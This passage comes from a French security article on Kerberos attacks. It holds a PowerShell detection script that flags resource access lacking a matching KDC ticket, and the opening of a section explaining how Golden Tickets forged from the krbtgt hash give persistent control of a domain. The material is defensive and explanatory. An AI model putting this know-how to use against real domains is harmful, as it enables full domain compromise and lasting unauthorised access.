# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

Copyright Ayi NEDJIMI Consultants